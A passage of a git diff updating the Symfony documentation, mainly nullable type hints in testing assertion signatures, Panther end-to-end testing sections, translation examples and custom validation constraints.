-``assertResponseRedirects(string $expectedLocation = null, int $expectedCode = null, string $message = '')``
+``assertResponseRedirects(?string $expectedLocation = null, ?int $expectedCode = null, string $message = '', bool $verbose = true)``
     Asserts the response is a redirect response (optionally, you can check
     the target location and status code). The excepted location can be either
     an absolute or a relative path.
@@ -969,18 +974,22 @@ Response Assertions
 ``assertResponseHeaderSame(string $headerName, string $expectedValue, string $message = '')``/``assertResponseHeaderNotSame(string $headerName, string $expectedValue, string $message = '')``
     Asserts the given header does (not) contain the expected value on the
     response, e.g. ``assertResponseHeaderSame('content-type', 'application/octet-stream');``.
-``assertResponseHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``/``assertResponseNotHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``
+``assertResponseHasCookie(string $name, string $path = '/', ?string $domain = null, string $message = '')``/``assertResponseNotHasCookie(string $name, string $path = '/', ?string $domain = null, string $message = '')``
     Asserts the given cookie is present in the response (optionally
     checking for a specific cookie path or domain).
-``assertResponseCookieValueSame(string $name, string $expectedValue, string $path = '/', string $domain = null, string $message = '')``
+``assertResponseCookieValueSame(string $name, string $expectedValue, string $path = '/', ?string $domain = null, string $message = '')``
     Asserts the given cookie is present and set to the expected value.
 ``assertResponseFormatSame(?string $expectedFormat, string $message = '')``
     Asserts the response format returned by the
     :method:`Symfony\\Component\\HttpFoundation\\Response::getFormat` method
     is the same as the expected value.
-``assertResponseIsUnprocessable(string $message = '')``
+``assertResponseIsUnprocessable(string $message = '', bool $verbose = true)``
     Asserts the response is unprocessable (HTTP status is 422)
 
+.. versionadded:: 7.1
+
+    The ``$verbose`` parameters were introduced in Symfony 7.1.
+
 Request Assertions
 ..................
 
@@ -993,10 +1002,10 @@ Request Assertions
 Browser Assertions
 ..................
 
-``assertBrowserHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``/``assertBrowserNotHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``
+``assertBrowserHasCookie(string $name, string $path = '/', ?string $domain = null, string $message = '')``/``assertBrowserNotHasCookie(string $name, string $path = '/', ?string $domain = null, string $message = '')``
     Asserts that the test Client does (not) have the given cookie set
     (meaning, the cookie was set by any response in the test).
-``assertBrowserCookieValueSame(string $name, string $expectedValue, string $path = '/', string $domain = null, string $message = '')``
+``assertBrowserCookieValueSame(string $name, string $expectedValue, string $path = '/', ?string $domain = null, string $message = '')``
     Asserts the given cookie in the test Client is set to the expected
     value.
 ``assertThatForClient(Constraint $constraint, string $message = '')``
@@ -1047,18 +1056,18 @@ Crawler Assertions
 Mailer Assertions
 .................
 
-``assertEmailCount(int $count, string $transport = null, string $message = '')``
+``assertEmailCount(int $count, ?string $transport = null, string $message = '')``
     Asserts that the expected number of emails was sent.
-``assertQueuedEmailCount(int $count, string $transport = null, string $message = '')``
+``assertQueuedEmailCount(int $count, ?string $transport = null, string $message = '')``
     Asserts that the expected number of emails was queued (e.g. using the
     Messenger component).
 ``assertEmailIsQueued(MessageEvent $event, string $message = '')``/``assertEmailIsNotQueued(MessageEvent $event, string $message = '')``
     Asserts that the given mailer event is (not) queued. Use
-    ``getMailerEvent(int $index = 0, string $transport = null)`` to
+    ``getMailerEvent(int $index = 0, ?string $transport = null)`` to
     retrieve a mailer event by index.
 ``assertEmailAttachmentCount(RawMessage $email, int $count, string $message = '')``
     Asserts that the given email has the expected number of attachments. Use
-    ``getMailerMessage(int $index = 0, string $transport = null)`` to
+    ``getMailerMessage(int $index = 0, ?string $transport = null)`` to
     retrieve a specific email by index.
 ``assertEmailTextBodyContains(RawMessage $email, string $text, string $message = '')``/``assertEmailTextBodyNotContains(RawMessage $email, string $text, string $message = '')``
     Asserts that the text body of the given email does (not) contain the
@@ -1082,10 +1091,10 @@ Mailer Assertions
 Notifier Assertions
 ...................
 
-``assertNotificationCount(int $count, string $transportName = null, string $message = '')``
+``assertNotificationCount(int $count, ?string $transportName = null, string $message = '')``
     Asserts that the given number of notifications has been created
     (in total or for the given transport).
-``assertQueuedNotificationCount(int $count, string $transportName = null, string $message = '')``
+``assertQueuedNotificationCount(int $count, ?string $transportName = null, string $message = '')``
     Asserts that the given number of notifications are queued
     (in total or for the given transport).
 ``assertNotificationIsQueued(MessageEvent $event, string $message = '')``
@@ -1113,7 +1122,7 @@ HttpClient Assertions
     For all the following assertions, ``$client->enableProfiler()`` must be
     called before the code that will trigger HTTP request(s).
 
-``assertHttpClientRequest(string $expectedUrl, string $expectedMethod = 'GET', string|array $expectedBody = null, array $expectedHeaders = [], string $httpClientId = 'http_client')``
+``assertHttpClientRequest(string $expectedUrl, string $expectedMethod = 'GET', string|array|null $expectedBody = null, array $expectedHeaders = [], string $httpClientId = 'http_client')``
     Asserts that the given URL has been called using, if specified,
     the given method body and headers. By default it will check on the HttpClient,
     but you can also pass a specific HttpClient ID.
diff --git a/testing/database.rst b/testing/database.rst
index 3f7ce3704f8..fe74bbedd82 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -1,4 +1,4 @@
-How to Test A Doctrine Repository
+How to Test a Doctrine Repository
 =================================
 
 .. seealso::
@@ -83,7 +83,7 @@ the employee which gets returned by the ``Repository``, which itself gets
 returned by the ``EntityManager``. This way, no real class is involved in
 testing.
 
-Functional Testing of A Doctrine Repository
+Functional Testing of a Doctrine Repository
 -------------------------------------------
 
 In :ref:`functional tests <functional-tests>` you'll make queries to the
@@ -99,7 +99,7 @@ so, get the entity manager via the service container as follows::
 
     class ProductRepositoryTest extends KernelTestCase
     {
-        private EntityManager $entityManager;
+        private ?EntityManager $entityManager;
 
         protected function setUp(): void
         {
diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst
index 4ae6fb9da15..8a624ae884e 100644
--- a/testing/end_to_end.rst
+++ b/testing/end_to_end.rst
@@ -49,9 +49,9 @@ to install ChromeDriver and geckodriver locally:
 
     $ vendor/bin/bdi detect drivers
 
-Panther will detect and use automatically drivers stored in the ``drivers/`` directory
+Panther will detect and automatically use drivers stored in the ``drivers/`` directory
 of your project when installing them manually. You can download `ChromeDriver`_
-for Chromium or Chromeand `GeckoDriver`_ for Firefox and put them anywhere in
+for Chromium or Chrome and `GeckoDriver`_ for Firefox and put them anywhere in
 your ``PATH`` or in the ``drivers/`` directory of your project.
 
 Alternatively, you can use the package manager of your operating system
@@ -111,12 +111,12 @@ Here is an example of a snippet that uses Panther to test an application::
     $client->clickLink('Getting started');
 
     // wait for an element to be present in the DOM, even if hidden
-    $crawler = $client->waitFor('#installing-the-framework');
+    $crawler = $client->waitFor('#bootstrapping-the-core-library');
     // you can also wait for an element to be visible
-    $crawler = $client->waitForVisibility('#installing-the-framework');
+    $crawler = $client->waitForVisibility('#bootstrapping-the-core-library');
 
     // get the text of an element thanks to the query selector syntax
-    echo $crawler->filter('#installing-the-framework')->text();
+    echo $crawler->filter('div:has(> #bootstrapping-the-core-library)')->text();
     // take a screenshot of the current page
     $client->takeScreenshot('screen.png');
 
@@ -132,7 +132,7 @@ Creating a TestCase
 ~~~~~~~~~~~~~~~~~~~
 
 The ``PantherTestCase`` class allows you to write end-to-end tests. It
-automatically starts your app using the built-in PHP web server and let
+automatically starts your app using the built-in PHP web server and lets
 you crawl it using Panther. To provide all the testing tools you're used
 to, it extends `PHPUnit`_'s ``TestCase``.
 
@@ -264,8 +264,7 @@ future::
         }
     }
 
-You can then run this test by using PHPUnit, like you would do for any other
-test:
+You can then run this test using PHPUnit, like you would for any other test:
 
 .. code-block:: terminal
 
@@ -306,13 +305,13 @@ faster. Two alternative clients are available:
 * The second leverages :class:`Symfony\\Component\\BrowserKit\\HttpBrowser`.
   It is an intermediate between Symfony's kernel and Panther's test clients.
   ``HttpBrowser`` sends real HTTP requests using the
-  :doc:`HttpClient component </http_client>`. It is fast and is able to browse
+  :doc:`HttpClient component </http_client>`. It is fast and can browse
   any webpage, not only the ones of the application under test.
   However, HttpBrowser doesn't support JavaScript and other advanced features
   because it is entirely written in PHP. This one can be used in any PHP
   application.
 
-Because all clients implement the exact same API, you can switch from one to
+Because all clients implement the same API, you can switch from one to
 another just by calling the appropriate factory method, resulting in a good
 trade-off for every single test case: if JavaScript is needed or not, if an
 authentication against an external SSO has to be done, etc.
@@ -356,10 +355,10 @@ Testing Real-Time Applications
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Panther provides a convenient way to test applications with real-time
-capabilities which use `Mercure`_, `WebSocket`_ and similar technologies.
+capabilities that use `Mercure`_, `WebSocket`_ and similar technologies.
 
 The ``PantherTestCase::createAdditionalPantherClient()`` method can create
-additional, isolated browsers which can interact with other ones. For instance,
+additional, isolated browsers that can interact with other ones. For instance,
 this can be useful to test a chat application having several users
 connected simultaneously::
 
@@ -452,13 +451,29 @@ To use a proxy server, you have to set the ``PANTHER_CHROME_ARGUMENTS``:
     # .env.test
     PANTHER_CHROME_ARGUMENTS='--proxy-server=socks://127.0.0.1:9050'
 
+Using Selenium With the Built-In Web Server
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you want to use `Selenium Grid`_ with the built-in web server, you need to
+configure the Panther client as follows::
+
+    $client = Client::createPantherClient(
+        options: [
+            'browser' => PantherTestCase::SELENIUM,
+        ],
+        managerOptions: [
+            'host' => 'http://selenium-hub:4444', // the host of the Selenium Server (Grid)
+            'capabilities' => DesiredCapabilities::firefox(), // the capabilities of the browser
+        ],
+    );
+
 Accepting Self-Signed SSL Certificates
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 To force Chrome to accept invalid and self-signed certificates, you can set the
 following environment variable: ``PANTHER_CHROME_ARGUMENTS='--ignore-certificate-errors'``.
 
-.. caution::
+.. danger::
 
     This option is insecure, use it only for testing in development environments,
     never in production (e.g. for web crawlers).
@@ -498,13 +513,13 @@ Having a Multi-domain Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 It happens that your PHP/Symfony application might serve several different
-domain names. As Panther saves the Client in memory between tests to improve
+domain names. As Panther saves the client in memory between tests to improve
 performance, you will have to run your tests in separate
 processes if you write several tests using Panther for different domain names.
 
 To do so, you can use the native ``@runInSeparateProcess`` PHPUnit annotation.
 Here is an example using the ``external_base_uri`` option to determine the
-domain name used by the Client when using separate processes::
+domain name used by the client when using separate processes::
 
     // tests/FirstDomainTest.php
     namespace App\Tests;
@@ -598,6 +613,13 @@ behavior:
     Toggle the browser's dev tools (default ``enabled``, useful to debug)
 ``PANTHER_ERROR_SCREENSHOT_ATTACH``
     Add screenshots mentioned above to test output in junit attachment format
+``PANTHER_NO_REDUCED_MOTION``
+    Disable non-essential movement in the browser (e.g. animations)
+
+.. versionadded:: 2.2.0
+
+    The support for the ``PANTHER_NO_REDUCED_MOTION`` env var was added
+    in Panther 2.2.0.
 
 Chrome Specific Environment Variables
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -605,7 +627,8 @@ Chrome Specific Environment Variables
 ``PANTHER_NO_SANDBOX``
     Disable `Chrome's sandboxing`_ (unsafe, but allows to use Panther in containers)
 ``PANTHER_CHROME_ARGUMENTS``
-    Customize Chrome arguments. You need to set ``PANTHER_NO_HEADLESS`` to fully customize
+    Customize Chrome arguments. You need to set ``PANTHER_NO_HEADLESS`` to ``1``
+    to fully customize
 ``PANTHER_CHROME_BINARY``
     To use another ``google-chrome`` binary
 
@@ -617,12 +640,33 @@ Firefox Specific Environment Variables
 ``PANTHER_FIREFOX_BINARY``
     To use another ``firefox`` binary
 
+Changing the Size of the Browser Window
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+It's possible to control the size of the browser window. This also controls the
+size of the screenshots.
+
+This is how you would do it with Chrome::
+
+    $client = Client::createChromeClient(null, ['--window-size=1500,4000']);
+
+You can achieve the same thing by setting the ``PANTHER_CHROME_ARGUMENTS`` env
+var to ``--window-size=1500,4000``.
+
+On Firefox, here is how you would do it::
+
+    use Facebook\WebDriver\WebDriverDimension;
+
+    $client = Client::createFirefoxClient();
+    $size = new WebDriverDimension(1500, 4000);
+    $client->manage()->window()->setSize($size);
+
 .. _panther_interactive-mode:
 
 Interactive Mode
 ----------------
 
-Panther can make a pause in your tests suites after a failure.
+Panther can make a pause in your test suites after a failure.
 Thanks to this break time, you can investigate the encountered problem through
 the web browser. To enable this mode, you need the ``--debug`` PHPUnit option
 without the headless mode:
@@ -710,7 +754,7 @@ Here is a minimal ``.travis.yaml`` file to run Panther tests:
 
     language: php
     addons:
-      # If you don't use Chrome, or Firefox, remove the corresponding line
+      # If you don't use Chrome or Firefox, remove the corresponding line
       chrome: stable
       firefox: latest
 
@@ -789,10 +833,10 @@ The following features are not currently supported:
 * Updating existing documents (browsers are mostly used to consume data, not to create webpages)
 * Setting form values using the multidimensional PHP array syntax
 * Methods returning an instance of ``\DOMElement`` (because this library uses ``WebDriverElement`` internally)
-* Selecting invalid choices in select
+* Selecting invalid choices in the select
 
 Also, there is a known issue if you are using Bootstrap 5. It implements a
-scrolling effect, which tends to mislead Panther. To fix this, we advise you to
+scrolling effect which tends to mislead Panther. To fix this, we advise you to
 deactivate this effect by setting the Bootstrap 5 ``$enable-smooth-scroll``
 variable to ``false`` in your style file:
 
@@ -800,6 +844,54 @@ variable to ``false`` in your style file:
 
     $enable-smooth-scroll: false;
 
+Assets not Loading when Using the PHP Built-In Server
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Sometimes, your assets might not load during tests. This happens because Panther
+uses the `PHP built-in server`_ to serve your app. If asset files (or any requested
+URI that's not a ``.php`` file) aren't in your public directory, the built-in
+server will return a 404 error. This often happens when letting the :doc:`AssetMapper component </frontend/asset_mapper>`
+handle your application assets in the ``dev`` environment.
+
+One solution when using AssetMapper is to :ref:`compile assets <asset-mapper-compile-assets>`
+before running your tests. This will also speed up your tests, as Symfony won't
+need to handle the assets, allowing the PHP built-in server to serve them directly.
+
+Another option is to create a file called ``tests/router.php`` and add the following to it::
+
+    // tests/router.php
+    if (is_file($_SERVER['DOCUMENT_ROOT'].\DIRECTORY_SEPARATOR.$_SERVER['SCRIPT_NAME'])) {
+        return false;
+    }
+
+    $script = 'index.php';
+
+    $_SERVER = array_merge($_SERVER, $_ENV);
+    $_SERVER['SCRIPT_FILENAME'] = $_SERVER['DOCUMENT_ROOT'].\DIRECTORY_SEPARATOR.$script;
+
+    $_SERVER['SCRIPT_NAME'] = \DIRECTORY_SEPARATOR.$script;
+    $_SERVER['PHP_SELF'] = \DIRECTORY_SEPARATOR.$script;
+
+    require $script;
+
+Then declare it as a router for Panther server in ``phpunit.xml.dist`` using the
+``PANTHER_WEB_SERVER_ROUTER`` environment variable:
+
+.. code-block:: xml
+
+    <!-- phpunit.xml.dist -->
+    <phpunit>
+        <!-- ... -->
+        <php>
+            <!-- ... -->
+            <server name="PANTHER_WEB_SERVER_ROUTER" value="./tests/router.php"/>
+        </php>
+    </phpunit>
+
+.. seealso::
+
+    See the `Functional Testing tutorial`_ on SymfonyCasts.
+
 Additional Documentation
 ------------------------
 
@@ -826,3 +918,6 @@ documentation:
 .. _`Gitlab CI`: https://docs.gitlab.com/ee/ci/
 .. _`AppVeyor`: https://www.appveyor.com/
 .. _`LiipFunctionalTestBundle`: https://github.com/liip/LiipFunctionalTestBundle
+.. _`PHP built-in server`: https://www.php.net/manual/en/features.commandline.webserver.php
+.. _`Functional Testing tutorial`: https://symfonycasts.com/screencast/last-stack/testing
+.. _`Selenium Grid`: https://www.selenium.dev/documentation/grid/
diff --git a/testing/http_authentication.rst b/testing/http_authentication.rst
deleted file mode 100644
index 46ddb82b87d..00000000000
--- a/testing/http_authentication.rst
+++ /dev/null
@@ -1,14 +0,0 @@
-How to Simulate HTTP Authentication in a Functional Test
-========================================================
-
-.. caution::
-
-    Starting from Symfony 5.1, a ``loginUser()`` method was introduced to
-    ease testing secured applications. See :ref:`testing_logging_in_users`
-    for more information about this.
-
-    If you are still using an older version of Symfony, view
-    `previous versions of this article`_ for information on how to simulate
-    HTTP authentication.
-
-.. _previous versions of this article: https://symfony.com/doc/5.0/testing/http_authentication.html
diff --git a/testing/insulating_clients.rst b/testing/insulating_clients.rst
index 5a76d517ced..ea9cba3c046 100644
--- a/testing/insulating_clients.rst
+++ b/testing/insulating_clients.rst
@@ -43,7 +43,7 @@ clean PHP process, thus avoiding any side effects.
     As an insulated client is slower, you can keep one client in the main
     process, and insulate the other ones.
 
-.. caution::
+.. warning::
 
     Insulating tests requires some serializing and unserializing operations. If
     your test includes data that can't be serialized, such as file streams when
diff --git a/translation.rst b/translation.rst
index de1f3353ea6..2300f9ef2f6 100644
--- a/translation.rst
+++ b/translation.rst
@@ -33,8 +33,8 @@ The translation process has several steps:
 #. :ref:`Enable and configure <translation-configuration>` Symfony's
    translation service;
 
-#. Abstract strings (i.e. "messages") by wrapping them in calls to the
-   ``Translator`` (":ref:`translation-basic`");
+#. Abstract strings (i.e. "messages") by :ref:`wrapping them in calls
+   <translation-basic>` to the ``Translator``;
 
 #. :ref:`Create translation resources/files <translation-resources>`
    for each supported locale that translate each message in the application;
@@ -145,7 +145,7 @@ different formats:
     .. code-block:: yaml
 
         # translations/messages.fr.yaml
-        Symfony is great: J'aime Symfony
+        Symfony is great: Symfony est génial
 
     .. code-block:: xml
 
@@ -156,7 +156,7 @@ different formats:
                 <body>
                     <trans-unit id="symfony_is_great">
                         <source>Symfony is great</source>
-                        <target>J'aime Symfony</target>
+                        <target>Symfony est génial</target>
                     </trans-unit>
                 </body>
             </file>
@@ -166,14 +166,14 @@ different formats:
 
         // translations/messages.fr.php
         return [
-            'Symfony is great' => "J'aime Symfony",
+            'Symfony is great' => 'Symfony est génial',
         ];
 
-For information on where these files should be located, see
-:ref:`translation-resource-locations`.
+You can find more information on where these files
+:ref:`should be located <translation-resource-locations>`.
 
 Now, if the language of the user's locale is French (e.g. ``fr_FR`` or ``fr_BE``),
-the message will be translated into ``J'aime Symfony``. You can also translate
+the message will be translated into ``Symfony est génial``. You can also translate
 the message inside your :ref:`templates <translation-in-templates>`.
 
 .. _translation-real-vs-keyword-messages:
@@ -256,8 +256,8 @@ To actually translate the message, Symfony uses the following process when
 using the ``trans()`` method:
 
 #. The ``locale`` of the current user, which is stored on the request is
-   determined; this is typically set via a ``_locale`` attribute on your routes
-   (see :ref:`translation-locale-url`);
+   determined; this is typically set via a ``_locale`` :ref:`attribute on
+   your routes <translation-locale-url>`;
 
 #. A catalog of translated messages is loaded from translation resources
    defined for the ``locale`` (e.g. ``fr_FR``). Messages from the
@@ -392,7 +392,7 @@ translation of *static blocks of text*:
 
     {% trans %}Hello %name%{% endtrans %}
 
-.. caution::
+.. warning::
 
     The ``%var%`` notation of placeholders is required when translating in
     Twig templates using the tag.
@@ -410,7 +410,7 @@ You can also specify the message domain and pass some additional variables:
 
     {% trans with {'%name%': 'Fabien'} from 'app' into 'fr' %}Hello %name%{% endtrans %}
 
-.. caution::
+.. warning::
 
     Using the translation tag has the same effect as the filter, but with one
     major difference: automatic output escaping is **not** applied to translations
@@ -450,13 +450,32 @@ The ``translation:extract`` command looks for missing translations in:
   defined in the :ref:`twig.default_path <config-twig-default-path>` and
   :ref:`twig.paths <config-twig-paths>` config options);
 * Any PHP file/class that injects or :doc:`autowires </service_container/autowiring>`
-  the ``translator`` service and makes calls to the ``trans()`` method.
+  the ``translator`` service and makes calls to the ``trans()`` method;
 * Any PHP file/class stored in the ``src/`` directory that creates
-  :ref:`translatable-objects` using the constructor or the ``t()`` method or calls
-  the ``trans()`` method.
+  :ref:`translatable objects <translatable-objects>` using the constructor or
+  the ``t()`` method or calls the ``trans()`` method;
 * Any PHP file/class stored in the ``src/`` directory that uses
   :ref:`Constraints Attributes <validation-constraints>`  with ``*message`` named argument(s).
 
+.. tip::
+
+    Install the ``nikic/php-parser`` package in your project to improve the
+    results of the ``translation:extract`` command. This package enables an
+    `AST`_ parser that can find many more translatable items:
+
+    .. code-block:: terminal
+
+        $ composer require nikic/php-parser
+
+By default, when the ``translation:extract`` command creates new entries in the
+translation file, it uses the same content as both the source and the pending
+translation. The only difference is that the pending translation is prefixed by
+``__``. You can customize this prefix using the ``--prefix`` option:
+
+.. code-block:: terminal
+
+    $ php bin/console translation:extract --force --prefix="NEW_" fr
+
 .. _translation-resource-locations:
 
 Translation Resource/File Names and Locations
@@ -504,7 +523,7 @@ The choice of which loader to use is entirely up to you and is a matter of
 taste. The recommended option is to use YAML for simple projects and use XLIFF
 if you're generating translations with specialized programs or teams.
 
-.. caution::
+.. warning::
 
     Each time you create a *new* message catalog (or install a bundle
     that includes a translation catalog), be sure to clear your cache so
@@ -595,14 +614,14 @@ Installing and Configuring a Third Party Provider
 Before pushing/pulling translations to a third-party provider, you must install
 the package that provides integration with that provider:
 
-====================  ===========================================================
-Provider              Install with
-====================  ===========================================================
-Crowdin               ``composer require symfony/crowdin-translation-provider``
-Loco (localise.biz)   ``composer require symfony/loco-translation-provider``
-Lokalise              ``composer require symfony/lokalise-translation-provider``
-Phrase                ``composer require symfony/phrase-translation-provider``
-====================  ===========================================================
+======================  ===========================================================
+Provider                Install with
+======================  ===========================================================
+`Crowdin`_              ``composer require symfony/crowdin-translation-provider``
+`Loco (localise.biz)`_  ``composer require symfony/loco-translation-provider``
+`Lokalise`_             ``composer require symfony/lokalise-translation-provider``
+`Phrase`_                ``composer require symfony/phrase-translation-provider``
+======================  ===========================================================
 
 Each library includes a :ref:`Symfony Flex recipe <symfony-flex>` that will add
 a configuration example to your ``.env`` file. For example, suppose you want to
@@ -627,14 +646,14 @@ pull translations via Loco. The *only* part you need to change is the
 
 This table shows the full list of available DSN formats for each provider:
 
-=====================  ==========================================================
-Provider               DSN
-=====================  ==========================================================
-Crowdin                crowdin://PROJECT_ID:API_TOKEN@ORGANIZATION_DOMAIN.default
-Loco (localise.biz)    loco://API_KEY@default
-Lokalise               lokalise://PROJECT_ID:API_KEY@default
-Phrase                 phrase://PROJECT_ID:API_TOKEN@default?userAgent=myProject
-=====================  ==========================================================
+======================  ==============================================================
+Provider                DSN
+======================  ==============================================================
+`Crowdin`_              ``crowdin://PROJECT_ID:API_TOKEN@ORGANIZATION_DOMAIN.default``
+`Loco (localise.biz)`_  ``loco://API_KEY@default``
+`Lokalise`_             ``lokalise://PROJECT_ID:API_KEY@default``
+`Phrase`_               ``phrase://PROJECT_ID:API_TOKEN@default?userAgent=myProject``
+======================  ==============================================================
 
 To enable a translation provider, customize the DSN in your ``.env`` file and
 configure the ``providers`` option:
@@ -963,6 +982,31 @@ the framework:
 This ``default_locale`` is also relevant for the translator, as shown in the
 next section.
 
+Selecting the Language Preferred by the User
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If your application supports multiple languages, the first time a user visits your
+site it's common to redirect them to the best possible language according to their
+preferences. This is achieved with the ``getPreferredLanguage()`` method of the
+:ref:`Request object <controller-request-argument>`::
+
+    // get the Request object somehow (e.g. as a controller argument)
+    $request = ...
+    // pass an array of the locales (their script and region parts are optional) supported
+    // by your application and the method returns the best locale for the current user
+    $locale = $request->getPreferredLanguage(['pt', 'fr_Latn_CH', 'en_US'] );
+
+Symfony finds the best possible language based on the locales passed as argument
+and the value of the ``Accept-Language`` HTTP header. If it can't find a perfect
+match between them, Symfony will try to find a partial match based on the language
+(e.g. ``fr_CA`` would match ``fr_Latn_CH`` because their language is the same).
+If there's no perfect or partial match, this method returns the first locale passed
+as argument (that's why the order of the passed locales is important).
+
+.. versionadded:: 7.1
+
+    The feature to match locales partially was introduced in Symfony 7.1.
+
 .. _translation-fallback:
 
 Fallback Translation Locales
@@ -1117,13 +1161,13 @@ unused translation messages templates:
 
     {{ 'Symfony is great'|trans }}
 
-.. caution::
+.. warning::
 
     The extractors can't find messages translated outside templates (like form
-    labels or controllers) unless using :ref:`translatable-objects` or calling
-    the ``trans()`` method on a translator. Dynamic
-    translations using variables or expressions in templates are not
-    detected either:
+    labels or controllers) unless using :ref:`translatable objects
+    <translatable-objects>` or calling the ``trans()`` method on a translator
+    (since Symfony 5.3). Dynamic translations using variables or expressions in
+    templates are not detected either:
 
     .. code-block:: twig
 
@@ -1132,9 +1176,10 @@ unused translation messages templates:
         {{ message|trans }}
 
 Suppose your application's default_locale is ``fr`` and you have configured
-``en`` as the fallback locale (see :ref:`translation-configuration` and
-:ref:`translation-fallback` for how to configure these). And suppose
-you've already setup some translations for the ``fr`` locale:
+``en`` as the fallback locale (see :ref:`configuration
+<translation-configuration>` and :ref:`fallback <translation-fallback>` for
+how to configure these). And suppose you've already set up some translations
+for the ``fr`` locale:
 
 .. configuration-block::
 
@@ -1147,7 +1192,7 @@ you've already setup some translations for the ``fr`` locale:
                 <body>
                     <trans-unit id="1">
                         <source>Symfony is great</source>
-                        <target>J'aime Symfony</target>
+                        <target>Symfony est génial</target>
                     </trans-unit>
                 </body>
             </file>
@@ -1156,13 +1201,13 @@ you've already setup some translations for the ``fr`` locale:
     .. code-block:: yaml
 
         # translations/messages.fr.yaml
-        Symfony is great: J'aime Symfony
+        Symfony is great: Symfony est génial
 
     .. code-block:: php
 
         // translations/messages.fr.php
         return [
-            'Symfony is great' => 'J\'aime Symfony',
+            'Symfony is great' => 'Symfony est génial',
         ];
 
 and for the ``en`` locale:
@@ -1205,7 +1250,7 @@ To inspect all messages in the ``fr`` locale for the application, run:
     ---------  ------------------  ----------------------  -------------------------------
      State      Id                  Message Preview (fr)    Fallback Message Preview (en)
     ---------  ------------------  ----------------------  -------------------------------
-     unused     Symfony is great    J'aime Symfony          Symfony is great
+     unused     Symfony is great    Symfony est génial      Symfony is great
     ---------  ------------------  ----------------------  -------------------------------
 
 It shows you a table with the result when translating the message in the ``fr``
@@ -1225,7 +1270,7 @@ output:
     ---------  ------------------  ----------------------  -------------------------------
      State      Id                  Message Preview (fr)    Fallback Message Preview (en)
     ---------  ------------------  ----------------------  -------------------------------
-                Symfony is great    J'aime Symfony          Symfony is great
+                Symfony is great    Symfony est génial      Symfony is great
     ---------  ------------------  ----------------------  -------------------------------
 
 The state is empty which means the message is translated in the ``fr`` locale
@@ -1533,3 +1578,8 @@ Learn more
 .. _`Custom Language Codes`: https://support.crowdin.com/project-settings/#languages
 .. _`Identification via User-Agent`: https://developers.phrase.com/api/#overview--identification-via-user-agent
 .. _`Phrase Tag Bundle`: https://github.com/wickedOne/phrase-tag-bundle
+.. _`Crowdin`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Translation/Bridge/Crowdin/README.md
+.. _`Loco (localise.biz)`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Translation/Bridge/Loco/README.md
+.. _`Lokalise`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Translation/Bridge/Lokalise/README.md
+.. _`Phrase`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Translation/Bridge/Phrase/README.md
+.. _`AST`: https://en.wikipedia.org/wiki/Abstract_syntax_tree
diff --git a/validation.rst b/validation.rst
index 3f9b16785d1..4905283b18b 100644
--- a/validation.rst
+++ b/validation.rst
@@ -525,7 +525,7 @@ class to have at least 3 characters.
             }
         }
 
-.. caution::
+.. warning::
 
     The validator will use a value ``null`` if a typed property is uninitialized.
     This can cause unexpected behavior if the property holds a value when initialized.
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index df126650125..40d19e0caa0 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -27,7 +27,7 @@ First you need to create a Constraint class and extend :class:`Symfony\\Componen
             public string $mode = 'strict';
 
             // all configurable options must be passed to the constructor
-            public function __construct(string $mode = null, string $message = null, array $groups = null, $payload = null)
+            public function __construct(?string $mode = null, ?string $message = null, ?array $groups = null, $payload = null)
             {
                 parent::__construct([], $groups, $payload);
 
@@ -55,13 +55,54 @@ You can use ``#[HasNamedArguments]`` to make some constraint options required::
         #[HasNamedArguments]
         public function __construct(
             public string $mode,
-            array $groups = null,
+            ?array $groups = null,
             mixed $payload = null,
         ) {
             parent::__construct([], $groups, $payload);
         }
     }
 
+Constraint with Private Properties
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Constraints are cached for performance reasons. To achieve this, the base
+``Constraint`` class uses PHP's :phpfunction:`get_object_vars` function, which
+excludes private properties of child classes.
+
+If your constraint defines private properties, you must explicitly include them
+in the ``__sleep()`` method to ensure they are serialized correctly::
+
+    // src/Validator/ContainsAlphanumeric.php
+    namespace App\Validator;
+
+    use Symfony\Component\Validator\Attribute\HasNamedArguments;
+    use Symfony\Component\Validator\Constraint;
+
+    #[\Attribute]
+    class ContainsAlphanumeric extends Constraint
+    {
+        public string $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
+
+        #[HasNamedArguments]
+        public function __construct(
+            private string $mode,
+            ?array $groups = null,
+            mixed $payload = null,
+        ) {
+            parent::__construct([], $groups, $payload);
+        }
+
+        public function __sleep(): array
+        {
+            return array_merge(
+                parent::__sleep(),
+                [
+                    'mode'
+                ]
+            );
+        }
+    }
+
 Creating the Validator itself
 -----------------------------
 
@@ -243,9 +284,9 @@ define those options as public properties on the constraint class::
 
         public function __construct(
             $mandatoryFooOption,
-            string $message = null,
-            bool $optionalBarOption = null,
-            array $groups = null,
+            ?string $message = null,
+            ?bool $optionalBarOption = null,
+            ?array $groups = null,
             $payload = null,
             array $options = []
         ) {
@@ -261,12 +302,12 @@ define those options as public properties on the constraint class::
             $this->optionalBarOption = $optionalBarOption ?? $this->optionalBarOption;
         }
 
-        public function getDefaultOption()
+        public function getDefaultOption(): string
         {
             return 'mandatoryFooOption';
         }
 
-        public function getRequiredOptions()
